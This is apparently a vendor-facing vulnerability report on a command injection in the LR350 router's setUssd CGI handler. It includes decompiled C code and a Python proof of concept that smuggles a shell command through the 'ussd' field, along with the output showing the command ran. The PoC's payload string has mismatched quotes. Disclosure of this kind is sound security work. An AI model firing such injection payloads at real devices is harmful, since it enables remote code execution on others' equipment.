

LR350 - command injection - setUssd

Hi, we found a command injection vulnerability at LR350 (Firmware version V9.3.5u.6369_B20220309), and contact you at the first time.

In function `setUssd` of the file `/cgi-bin/cstecgi.cgi`, string `ussd` not checked and passed to `doSystem`, result in command injection.

```
1 int __fastcall sub_41A57C(int a1)
2 {
3     int v2; // $s2
4     const char *v3; // $v0
5     int v4; // $s1
6     int result; // $v0
7     int v6; // $v0
8     int v7; // $s0
9     int v8; // $s1
10    int v9; // $v0
11    int v10; // $v0
12    int v11; // $v0
13    int v12; // $v0
14    int v13; // $s0
15    int v14; // $v0
16    int v15; // $v0
17    int v16; // $s0
18    char v17[128]; // [sp+20h] [-518h] BYREF
19    char v18[1024]; // [sp+A0h] [-498h] BYREF
20    char v19[52]; // [sp+4A0h] [-98h] BYREF
21    int v20; // [sp+4D4h] [-64h]
22
23    memset(v17, 0, sizeof(v17));
24    memset(v18, 0, sizeof(v18));
25    v2 = cJSON_CreateObject();
26    v3 = (const char *)websGetVar(a1, "ussd", &byte_431160);
27    snprintf(v17, 127, "cli_atc AT+CUSD=1,\"%s\" > /tmp/.ussd_file", v3);
28    system(v17);
```

PoC

```
import requests
url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie": "uid=1234"}
data = {'topicurl': "setUssd", "ussd": '";ls -lh ../';"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
```

Impact

Remote code execution

After execute the poc, the `ls -lh ../` command is executed

```
→ mipsel32 python3 exp_ussd.py
drwxrwxr-x  2 0      0          4.0K Oct  1 07:09 advance
drwxrwxr-x  2 0      0          4.0K Oct  1 07:09 basic
drwxrwxr-x  2 0      0          4.0K Oct  1 07:09 cgi-bin
-rwxr-xr-x  1 0      0          955 Oct  1 07:09 error.html
-rwxr-xr-x  1 0      0         1.1K Oct  1 07:09 favicon.ico
-rwxr-xr-x  1 0      0         143 Oct  1 07:09 home.html
-rwxr-xr-x  1 0      0          797 Oct  1 07:09 index.html
drwxrwxr-x  2 0      0          4.0K Oct  1 07:09 language
-rwxr-xr-x  1 0      0         4.7K Oct  1 07:09 login.html
-rw-r--r--  1 0      0         4.5K Oct  1 07:09 login_ie.html
-rwxr-xr-x  1 0      0        33.8K Oct  1 07:09 omode.html
drwxrwxr-x  2 0      0          4.0K Oct  1 07:09 phone
drwxrwxr-x  2 0      0          4.0K Oct  1 07:09 plugin
drwxrwxr-x  5 0      0          4.0K Oct  1 07:09 static
-rwxr-xr-x  1 0      0         1.5K Oct  1 07:09 telnet.html
-rw-r--r--  1 0      0        10.6K Oct  1 07:09 wan_ie.html
-rwxr-xr-x  1 0      0        54.7K Oct  1 07:09 wizard.html
{
    "response": ""
}

<Response [200]>
```